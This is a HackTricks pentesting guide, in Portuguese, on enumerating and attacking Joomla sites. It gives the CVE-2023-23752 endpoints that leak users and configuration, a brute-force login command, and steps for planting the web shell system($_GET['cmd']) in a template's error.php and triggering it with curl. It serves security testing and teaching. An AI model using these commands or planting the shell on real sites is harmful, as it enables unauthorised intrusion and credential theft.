Joomla

Support HackTricks

Estatísticas do Joomla

O Joomla coleta algumas estatísticas de uso anônimas, como a distribuição das versões do Joomla, PHP e dos sistemas de gerenciamento de banco de dados e sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados através de sua API pública.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeração

Descoberta/Mapeamento

  • Verifique o meta

curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versão

  • Em /administrator/manifests/files/joomla.xml você pode ver a versão.

  • Em /language/en-GB/en-GB.xml você pode obter a versão do Joomla.

  • Em plugins/system/cache/cache.xml você pode ver uma versão aproximada.

Automático

droopescan scan joomla --url http://joomla-site.local/

Em 80,443 - A metodologia de pentesting web é uma seção sobre scanners de CMS que podem escanear Joomla.

Divulgação de Informações Não Autenticadas pela API:

Versões de 4.0.0 a 4.2.7 são vulneráveis à divulgação de informações não autenticadas (CVE-2023-23752) que irá despejar credenciais e outras informações.

  • Usuários: http://<host>/api/v1/users?public=true

  • Arquivo de Configuração: http://<host>/api/index.php/v1/config/application?public=true

Módulo MSF: scanner/http/joomla_api_improper_access_checks ou script ruby: 51334

Força Bruta

Você pode usar este script para tentar realizar um ataque de força bruta no login.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Se você conseguiu obter credenciais de admin, você pode RCE dentro dele adicionando um trecho de código PHP para ganhar RCE. Podemos fazer isso personalizando um template.

  1. Clique em Templates no canto inferior esquerdo sob Configuration para abrir o menu de templates.

  2. Clique em um nome de template. Vamos escolher protostar sob o cabeçalho da coluna Template. Isso nos levará à página Templates: Customise.

  3. Finalmente, você pode clicar em uma página para abrir o código fonte. Vamos escolher a página error.php. Vamos adicionar um PHP one-liner para ganhar execução de código da seguinte forma:

  4. system($_GET['cmd']);

  5. Salvar & Fechar

  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

De XSS a RCE

  • JoomSploit: Script de Exploração Joomla que eleva XSS a RCE ou Outras Vulnerabilidades Críticas. Para mais informações, confira este post. Ele fornece suporte para as Versões Joomla 5.X.X, 4.X.X e 3.X.X, e permite:

  • Escalação de Privilégios: Cria um usuário no Joomla.

  • (RCE) Edição de Templates Integrados: Edita Templates Integrados no Joomla.

  • (Custom) Exploits Personalizados: Exploits Personalizados para Plugins de Terceiros do Joomla.

Support HackTricks

Last updated